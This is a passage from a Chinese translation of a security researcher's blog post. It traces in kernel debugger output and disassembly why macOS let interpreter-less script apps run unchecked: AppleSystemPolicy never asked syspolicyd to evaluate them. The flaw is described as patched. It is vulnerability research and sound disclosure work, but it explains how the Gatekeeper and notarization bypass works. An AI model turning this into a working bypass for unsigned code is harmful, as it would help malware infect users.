3 imgp->ip_vp,
4 imgp->ip_arch_offset,
5 imgp->ip_scriptvp,
6 imgp->ip_scriptlabelp,
7 ...);
在执行基于脚本的正常应用程序(指定了解释器)时调试此内核逻辑可以确认以下情况:
(lldb) b kauth_proc_label_update_execve
Breakpoint 1: where = kernel`kauth_proc_label_update_execve + 43 at kern_credential.c:4554:15, address = 0xffffff8015de95cb
(lldb) c
Process 1 resuming
Process 1 stopped
* thread #3, name = '0xffffff868e4f2000', queue = '0x0', stop reason = breakpoint 1.1
frame #0: 0xffffff8015de95cb
kernel`kauth_proc_label_update_execve(p=0xffffff868e84e300, ctx=0xffffffb06060bd90,
vp=0xffffff86890c9800, offset=16384, scriptvp=0xffffff867fae3f00,
scriptl=0xffffff868a69ffc0, ...) at kern_credential.c:4554:15
在调试器输出中,请注意kauth_proc_label_update_execve函数是使用imgp->ip_scriptvp(名为scriptvp)和imgp->ip_scriptlabelp(名为scriptl)中的值来进行调用的。
kauth_proc_label_update_execve函数将更新标签(如果规定了的话)
一旦kauth_proc_label_update_execve返回,我们就可以(重新)检查proc结构体,并确认(对于指定解释器的基于脚本的应用程序)p_ucred成员(类型为ucred)是否已经更新。如果我们转储更新后的p_ucred结构体,就会看到它的cr_label成员的值被设置为一个MAC标签,该标签包含一个指向普通脚本的指针:
//p_ucred = 0xffffff8691ef8130`
(lldb) expr * (struct ucred*)0xffffff8691ef8130
...
cr_label = 0xffffff868e7d7640
}
(lldb) expr *(struct label*)0xffffff868e7d7640
(struct label) $9 = {
l_flags = 1
l_perpolicy = {
[0] = (l_ptr = 0xffffff86887e3188, l_long = -521696038520)
[1] = (l_ptr = 0x0000000000000000, l_long = 0)
[2] = (l_ptr = 0xffffff93526ea700, l_long = -466768451840)
[3] = (l_ptr = 0xffffff93529fe800, l_long = -466765223936)
...
(lldb) x/s 0xffffff93529fe800
0xffffff93529fe800: "/Users/user/Desktop/Script.app/Contents/MacOS/Script"
我们很快就会看到内核中其他地方的代码如何检查这个cr_label,以确定该进程是否是一个脚本。
就我们的PoC来说,系统将发现解释器没有指定,因此,会令ip_scriptlabelp和ip_scriptvp为NULL。这也意味着该进程对象(代表PoC)的cr_label结构体将不包含脚本的路径。
这乍一看好像不会导致什么安全问题,因为我们无论如何都要用ENOEXEC退出内核,因为exec_shell_imgact正确地确定了脚本是没有指定解释器的。
……但是回想一下,posix_spawnp并不会轻易放弃,它会转过身来,再次(重新)调用posix_spawn,但这次不是用脚本,而是/bin/sh,后者是一个可信的、由苹果公司签名的、Mach-O格式的二进制文件。由于sh是一个mach-O格式的二进制文件,因此,exec_activate_image将调用mach-O激活器,即exec_mach_imgact。同时,由于sh是一个有效的mach-O二进制文件,所以,这个函数将成功返回,也就意味着sh已经成功生成了。当然,由于sh不是一个脚本,其image_params结构体中任何与脚本相关的成员都没有设置(即其值为NULL)。
(lldb) expr *(struct image_params*)0xffffff934e3c3000
(struct image_params) $1 = {
...
ip_strings = 0xffffffa04a011000 "executable_path=/bin/sh"
...
ip_scriptlabelp = 0x0000000000000000
ip_scriptvp = 0x0000000000000000
}
……但它,sh将会执行不可信的PoC脚本!
0x04 应用程序策略检查(内核模式)
回想一下,我们实际上只是试图弄清楚为什么PoC应用程序会被允许执行,尽管它是未经签名和公证的。
到目前为止,我们已经展示了一个基于脚本的应用程序是如何通过posix_spawnp API执行的。这个API将首先尝试直接执行应用程序的脚本。如果失败(就像POC中没有指定解释器脚本的情况那样),脚本将直接通过/bin/sh执行。
……但是,第二次尝试意味着没有设置image_params结构体中与脚本有关的成员,如ip_scriptlabelp和ip_scriptvp。
这是个安全问题吗?是的!!!下面,我们将会解释具体的原因。
但是首先,请回顾一下我们以前的猜测:因为syspolicyd没有显示任何日志消息(与评估PoC有关),因此,它很可能根本就没有被调用,也就是根本没有扫描(和分析)我们的概念证明程序!如果syspolicyd没有被要求检查PoC,那么,我们的程序将允许执行,从而顺利绕过了文件隔离、Gatekeeper和公证等安全机制。
确定谁负责调用syspolicyd来审计应用程序(并搞清楚为什么没有为PoC调用syspolicyd)并不是一件简单的事情。然而,通过各种探索和谷歌搜索,最终我们还是找到了答案。
接下来,我们将探讨MacOS的应用程序策略检查逻辑,主要关注AppleSystemPolicy内核扩展。具体地说,我们将展示这个扩展,在审计进程(例如我们的PoC)的过程中,是如何扮演初始仲裁器的角色的,以及又是如何将后续的审计工作委托给用户模式的syspolicyd守护进程的。
系统、AppleSystemPolicy kext和syspolicyd之间的交互示意图
正如在以前的一篇文章(https://objective-see.com/blog/blog_0x64.html)中所指出的,syspolicyd守护进程将执行各种策略检查,并最终防止执行不受信任的应用程序,例如未签名或未公证的应用程序。
但是,如果AppleSystemPolicy kext认为无需调用syspolicyd守护进程的话,又会怎样?那么,就会直接运行代码!如果这个决定是错误的,那么,代码就能顺利绕过文件隔离、Gatekeeper和公证检查。
在macOS安全研究人员的一篇精彩文章中,曾经简要介绍过AppleSystemPolicy kext的这一点!并且,在一篇题为“syspolicyd Internals”文章中,Scott指出了以下内容:
- AppleSystemPolicy kext会hook各种MACF操作,如mac_proc_notify_exec_complete。
- AppleSystemPolicy kext是syspolicyd守护进程的“客户端”。
由于这两者都与我们的PoC相关,所以,接下来就让我们深入研究一下。
首先,让我们来看看AppleSystemPolicy kext所hook的MACF操作。简而言之,强制访问控制框架(MACF)是一个私有的内核框架,它允许苹果公司的kexts钩住各种(MACF)操作。这样的hook(或回调函数)将被内核自动调用,从而使kext(注册hook的代码)有机会采取某种行动,例如检查和拦截不受信任的进程。
在他的文章中,Scott曾经指出AppleSystemPolicy kext会钩取mac_proc_notify_exec_complete。这一点在Jonathon Levin著作的附录中也得到了证实:
“一个新的MACF策略,即AppleSystemPolicy(com.apple.SystemPolicy),现在已经在MacOS中使用。该策略(标识为'ASP')会钩取mac_proc_notify_exec_complete……”
如果我们对AppleSystemPolicy kext进行反汇编,我们就会看到,在它的start方法中,它调用了一个方法,该方法名为registerMACPolicy。这个方法将初始化一个MACF策略结构体,即mac policy_conf(其中含有它感兴趣的MACF钩子/回调函数,包括mac_proc_notify_exec_complete),并通过调用mac_policy_register API进行注册。
1int _AppleSystemPolicy::registerMACPolicy() {
2 ...
3
4 *(rdi + 0x468) = proc_notify_exec_complete(proc*);
5 *(rdi + 0x298) = file_check_library_validation(proc*, fileglob*, long long, long long, unsigned long);
6 *(rdi + 0x1b8) = file_check_mmap(ucred*, fileglob*, label*, int, int, unsigned long long, int*);
7 *(rdi + 0x128) = cred_label_update_execve(ucred*, ucred*, proc*, vnode*, long long, vnode*, label*, label*, label*, unsigned int*, void*, unsigned long, int*);
8
9 *(rdi + 0xb10) = "ASP";
10 *(rdi + 0xb18) = "Apple System Policy";
11
12 rax = mac_policy_register(rdi + 0xb10, rdi + 0xb60, 0x0);
13 ...
14}
如上面的反编译结果所示,Kext用于mac_proc_notify_exec_complete函数的钩子名为proc_notify_exec_complete,它最终会调用AppleSystemPolicy::procNotifyexecComplete。
快速浏览这个复杂的方法,就会发现诸如"ASP:Security policy Wall not allow process"之类的字符串,以及如下所示的方法调用:
AppleSystemPolicy::getDaemonPort
ASPEvaluationManager::createEvaluation
ASPEvaluationManager::addEvaluationRequest
AppleSystemPolicy::blockRevokedProcess
AppleSystemPolicy::evaluateScript
前一个方法名与AppleSystemPolicy kext通信和委托给用户模式的syspolicyd守护进程有关。Levin注意到“[AppleSystemPolicy]会通过HOST_SYSPOLICYD_PORT(即主机的特定端口#29)来调用/usr/libexec/syspolicyd。”
我们可以通过查看getDaemonPort方法的反汇编代码来确认这一点,该方法揭示了对host_get_special_port端口的调用,其端口为0x1d(29d):
1mov rdi, rax ; host_priv
2mov esi, 0FFFFFFFFh ; node
3mov edx, 1Dh ; which
4mov rcx, rbx ; port
5call host_get_special_port
如果我们进入用户模式并查看syspolicyd的启动守护进程属性列表(/system/library/launchdaemons/com.apple.security.syspolicy.plist),我们会看到它确实会在端口29上创建一个Mach(com.apple.security.applesystempolicy.mig)侦听器:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" ...>
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.security.syspolicy</string>
<key>MachServices</key>
<dict>
<key>com.apple.security.AppleSystemPolicy.mig</key>
<dict>
<key>HostSpecialPort</key>
<integer>29</integer>
</dict>
<key>com.apple.security.syspolicy.kext</key>
<true/>
<key>com.apple.security.syspolicy.exec</key>
<true/>
<key>com.apple.security.syspolicy</key>
<true/>
</dict>
<key>ProgramArguments</key>
<array>
<string>/usr/libexec/syspolicyd</string>
</array>
...
回顾AppleSystemPolicy的procNotifyExecComplete方法所调用的各个方法,我们发现AppleSystemPolicy::evaluateScript似乎与基于脚本的PoC特别相关。
因此,让我们在这个方法上设置一个内核模式断点,并执行一个“正常”的基于脚本(即,一个正确指定了解释器的脚本)的应用程序。
……正如预期的那样,该断点被触发了。
(lldb) b 0xffffff8010dd4ed6
Breakpoint 1: where = AppleSystemPolicy`AppleSystemPolicy::evaluateScript(ASPProcessInfo*, ASPScriptInfo*), address = 0xffffff8010dd4ed6
(lldb) c
Process 1 resuming
...
Process 1 stopped
* thread #1, stop reason = breakpoint 1.1
frame #0: 0xffffff8010dd4ed6 AppleSystemPolicy`AppleSystemPolicy::
evaluateScript(ASPProcessInfo*, ASPScriptInfo*)
AppleSystemPolicy`AppleSystemPolicy::evaluateScript:
-> 0xffffff8010dd4ed6 <+0>: int3
此外,如果我们查看堆栈回溯信息(可以通过调试器的bt命令完成),我们将发现它的确是由MACF子系统调用的,以响应AppleSystemPolicy Kext安装的mac_proc_notify_exec_complete钩子:
(lldb) bt
* thread #1, stop reason = breakpoint 1.1
* frame #0: 0xffffff8010dd4ed6 AppleSystemPolicy`AppleSystemPolicy::
evaluateScript(ASPProcessInfo*, ASPScriptInfo*)
frame #1: 0xffffff8010dd5ba7 AppleSystemPolicy`AppleSystemPolicy::
procNotifyExecComplete(proc*) + 645
frame #2: 0xffffff800fe9ca2f kernel`mac_proc_notify_exec_complete(
proc=0xffffff86936d3140) at mac_mach.c:228:2
如果我们反汇编evaluateScript方法,我们就能看到是否调用了syspolicyd在用户模式下执行脚本审计(请注意日志消息中的“Calling out for script evaluation”):
1int AppleSystemPolicy::evaluateScript(...)
2 ...
3 rax = AppleSystemPolicy::getDaemonPort();
4
5 rax = ASPEvaluationManager::createEvaluation();
6
7
8 ASPEvaluationManager::addEvaluationRequest(gEvaluationManager);
9 ...
10
11 if (Config::verboseLoggingEnabled() != 0x0) {
12 ASPProcessInfo::uid();
13 ASPEvaluationInfo::path();
14 os_log_internel(0xffffff8010dce000, *qword_e058, 0x0, "Calling out for script evaluation: %d, %s", ASPProcessInfo::uid(), ASPEvaluationInfo::path());
15 }
……如果基于脚本的应用程序是不可信的(即未公证的),一旦syspolicyd处理该审计请求,将彻底拒绝它:
不可信的基于脚本的应用程序(通常)被阻止
那么我们的没有指定解释器的PoC应用程序呢?好吧,如果我们执行它,AppleSystemPolicy的evaluateScript方法永远不会被调用!
……这就意味着永远不会调用syspolicyd来审计PoC!
回想一下,当我们运行没有指定解释器的基于PoC脚本的应用程序时,让人感到奇怪的是,Syspolicyd根本就没有生成日志消息。
……当时我们感到很奇怪,因为我们认为系统会调用syspolicyd来评估应用程序的可信程度。
现在来看,(syspolicyd)没有生成日志消息,是很正常的事情,因为它根本就没有被要求去检查应用程序的可信性!
当然,问题是,为什么不调用syspolicyd来评估未经公证的PoC应用程序的安全性呢?简单来说,因为AppleSystemPolicy认为它根本就不需要!但让我们看看到底是为什么。
回顾一下,AppleSystemPolicy的evaluateScript方法是由procNotifyExecComplete调用的(由于AppleSystemPolicy安装了mac_proc_notify_exec_complete MACF钩子,所以该方法本身在每个进程启动时都会被调用)。
下图展示的是这个方法的实现代码(其中给出了相应的注释),这是通过反汇编代码重建的:
procNotifyExecComplete方法
事实证明,通过调试一个正常的基于脚本的应用程序来理解evaluateScript方法被调用的条件是比较简单的,因为该应用程序指定了一个解释器(它将触发对evaluateScript的调用)。
首先,让我们看看在调用evaluateScript之前必须满足的条件代码(在procNotifyExecComplete中):
1//within procNotifyExecComplete
2if ( (r15 != 0x0) &&
3 ((r13 != 0x0) &&
4 (*(var_178 + 0x18) == 0x0)) )
5{
6 ...
7 ASPScriptInfo::ASPScriptInfo(&ASP_Script_OBJ, r13);
8 AppleSystemPolicy::evaluateScript(procArg, &ASP_OBJ);
9 ...
10}
我们可以看到各种寄存器(例如r15和r13),它们的值不能为NULL,还有一些局部变量,它们的值必须是0x0。
我们将重点讨论r13寄存器,原因很快就会清楚。
如前所述,如果r13寄存器是NULL,对evaluateScript的调用将被跳过。
首先,我们发现r13寄存器会被初始化为一个局部变量(var_100)的值。
10x0000000000007d2f mov r13, qword [rbp+var_100]
……回顾反汇编代码,我们发现这个局部变量是用路径的vnode进行初始化的:
10x0000000000007ca2 call vnode_for_path(char const*)
2...
30x0000000000007caa mov qword [rbp+var_100], rax
40x0000000000007cb1 test rax, rax
50x0000000000007cb4 jne loc_7cc7
请注意,如果对vnode_for_path的调用失败,将不会执行jne指令;该指令的作用是触发一个要记录的错误消息,以及以下格式的错误消息:
"ASP: Unable to retrieve vnode for script: %s
基于这一点,我们可以推测vnode是从脚本的路径中获取的。我们可以通过查看调用vnode_for_path之前的反汇编来确认这一点:
10x0000000000007c85 call ASPProcessInfo::cred()
20x0000000000007c8a mov rax, qword [rax+0x78]
30x0000000000007c8e movsxd rcx, dword [rbx+0xb64]
40x0000000000007c95 mov rbx, qword [rax+rcx*8+8]
50x0000000000007c9a test rbx, rbx
60x0000000000007c9d je loc_7cf8
70x0000000000007c9f mov rdi, rbx
80x0000000000007ca2 call vnode_for_path(char const*)
这里我们可以看到,代码调用了一个helper方法(::cred),该方法将调用proc_ucred Apple API,以检索指定进程(例如正在审计的进程)的kauth_cred_t。
然后,代码将会从kauth_cred_t结构体中的偏移量0x78处提取一些内容,并与另一个值(来自偏移量0xB64处)相加。
如果我们查看kauth_cred_t,会发现typedef是指向ucred结构体的指针,该结构体的定义位于sys/ucred.h头文件中。偏移量0x78处到底是什么?它是一个指向名为cr_label的标签结构体的指针;根据注释来看,这是一个“MAC标签”。
我们可以通过打印aspProcessInfo::CRED返回的kauth_cred_t结构体,然后手动输出偏移量0x78处的值(并确认它们是相同的)来确认这一点:
(lldb) expr *(kauth_cred_t)$rax
(ucred) $1 = {
...
cr_label = 0xffffff868a67d580
}
(lldb) x/gx $rax+0x78
0xffffff868a2a0bb8: 0xffffff868a67d580
"Modern Jailbreaks' Post-Exploitation"(https://blog.quarkslab.com/modern-jailbreaks-post-exploitation.html)这篇文章也证实了这一点,指出 "MAC标签位于凭证结构体的偏移量0x78处"。
而BSD文档则指出,这个标签结构体是 "由一个固定长度的联合数组组成,每个联合数组含有一个void *指针和一个long变量。"
struct label {
int l_flags;
union {
void *l_ptr;
long l_long;
} l_perpolicy[MAC_MAX_SLOTS];
};
该值(从rbx的偏移量0xB64处提取)是一个索引,需要索引到正确的l_perpolicy槽中。在动态分析时,该值也为0x3。
当从这个结构体中提取的值被传递给vnode_for_path API时,我们可以假设它是一个路径。但它是谁的路径呢?我们的脚本!
凭据结构体中的标签(通常)包含脚本的路径
我们可以在调试器中通过打印label结构体(调用aspprocessInfo::cred()函数时返回的ucred结构体)来确认这一点……特别是在l_perpolicy[0x3]中找到的值:
(lldb) expr *(struct label*)0xffffff868b6ee300
(struct label) $1 = {
l_flags = 1
l_perpolicy = {
[0] = (l_ptr = 0xffffff86845033f0, l_long = -521766161424)
[1] = (l_ptr = 0x0000000000000000, l_long = 0)
[2] = (l_ptr = 0xffffff934d70cac0, l_long = -466852197696)
[3] = (l_ptr = 0xffffff934e591800, l_long = -466836973568)
[4] = (l_ptr = 0x0000000000000000, l_long = 0)
[5] = (l_ptr = 0x0000000000000000, l_long = 0)
[6] = (l_ptr = 0x0000000000000000, l_long = 0)
}
}
(lldb) x/s 0xffffff934e591800
0xffffff934e591800: "/Users/user/Desktop/Script.app/Contents/MacOS/Script"
……回想一下,在正常的基于脚本的应用程序的进程启动期间,在exec_activate_image函数中,ip_scriptlabelp成员将被设置,并且似乎将用脚本的路径进行初始化(位于l_perpolicy[0x3]中)。
如果我们继续调试,并停止对vnode_for_path API的调用,我们可以确认这个路径(在rdi寄存器中找到的)将传递给该API:
Process 1 stopped
* thread #4, name = '0xffffff867f178500', queue = '0x0', stop reason = breakpoint 2.1
frame #0: 0xffffff800c5d5ca2 AppleSystemPolicy`AppleSystemPolicy::
procNotifyExecComplete(proc*) + 896
AppleSystemPolicy`AppleSystemPolicy::procNotifyExecComplete:
-> 0xffffff800c5d5ca2 <+896>: vnode_for_path(char const*)
Target 0: (kernel) stopped.
(lldb) x/s $rdi
0xffffff9348992400: "/Users/user/Desktop/Script.app/Contents/MacOS/Script
这并不奇怪,因为代码只是查看它将要执行的脚本路径的vnode。
因此,vnode_for_path API将被调用,以获取脚本的vnode;并且,它(最终)被移到r13寄存器中。
再次回想一下,如果r13寄存器不为NULL,就会调用evaluateScript函数!(它反过来会调用syspolicyd,以审计和阻止不受信任的脚本)。
太棒了!但是,如果exec_activate_image函数没有设置ip_scriptlabelp成员,会发生什么呢?这意味着procNotifyExecComplete中检查这个MAC标签是否为NULL的代码将被触发:
10x0000000000007c85 call ASPProcessInfo::cred()
20x0000000000007c8a mov rax, qword [rax+0x78]
30x0000000000007c8e movsxd rcx, dword [rbx+0xb64]
40x0000000000007c95 mov rbx, qword [rax+rcx*8+8]
50x0000000000007c9a test rbx, rbx
60x0000000000007c9d je loc_7cf8
具体来说,将执行0x0000000000007c9d处的"je"(jump equal/zero)指令,该指令会显式地将通常用于保存脚本的vnode的局部变量的值设为NULL:
10x0000000000007cf8 xor eax, eax
20x0000000000007cfa mov qword [rbp+var_100], rax
由于这个变量(var_100)将赋值给r13寄存器,这意味着r13寄存器将为NULL,也就是说,这意味着将不会调用evaluateScript!
……这就解释了,为什么我们的PoC应用程序虽然是未经签名和公证的,但是仍然可以正常执行,因为它从来就没有被审计。
对于未指定解释器脚本,标签的值保持为NULL
上文说了这么多,下面简单总结一下:
-
当启动没有指定解释器的基于脚本的应用程序时,使用enoexec执行时最初会以失败告终。这将导致脚本通过/bin/sh(重新)执行。
-
由于/bin/sh是一个Mach-O格式的二进制文件(不是脚本),所以,它并没有设置脚本标签。因此,Syspolicyd从不审计(或阻止)脚本。
-
策略引擎只看到/bin/sh(一个受信任的平台二进制文件),因此,自然就会允许它执行。当然,然后是由/bin/sh来执行我们的PoC脚本的。
最终结果?虽然PoC的脚本没有签名和公证,但它仍然能够得到执行!
0x05 小结
对于绝大多数的macOS恶意软件来说,都需要一些用户互动(比如直接运行实际的恶意代码),才能感染macOS系统。不幸的是,这样的macOS恶意软件仍然比比皆是,每天有无数的Mac用户被感染。
自2007年以来(随着文件隔离机制的引入),苹果公司一直在努力保护用户,使他们在被骗运行此类恶意代码时不会浑然不觉地中招。这是一件好事,但是,用户可能很天真,并且谁都不敢保证自己不会犯错。此外,这种保护措施(特别是公证要求)现在甚至可以保护用户免受高级供应链攻击……等等。
不幸的是,由于macOS内核的各个组件中存在一个微妙的逻辑缺陷,导致这些安全机制形同虚设,因此我们(嗯,我说的是macOS)基本上倒退到了原来的起点。
在这篇文章中,演示的攻击是从一个未签名、未公证、基于脚本的概念验证应用程序开始的,最后,该应用程序竟然可以简单而可靠地避开所有macOS相关的安全机制(文件隔离、Gatekeeper和公证要求)……即使在具有完整安全补丁的M1 macOS系统上也是如此。有了这样的能力,macOS恶意软件作者就可以重新拾起入侵和感染macOS用户的“过时”方法:狼又来了!
我们在本文的核心部分深入研究了应用程序启动机制(在用户和内核模式下),以及在AppleSystemPolicy内核扩展中找到的系统策略内部机制。这准确地揭示了“未指定解释器”的、基于脚本的应用程序被策略引擎“忽略”的具体原因:因为它绕过了基本的安全逻辑,如向用户发出警报和阻止不受信任的应用程序等。
幸运的是,苹果公司现在已经修补了这个漏洞,最初是包含在macOS12beta6中,后来也包含在macOS11.6中。
甚至在此之前,如果您运行的BlockBlock启用了“公证模式”,您就会受到保护(即使BlockBlock事先并不知道该漏洞):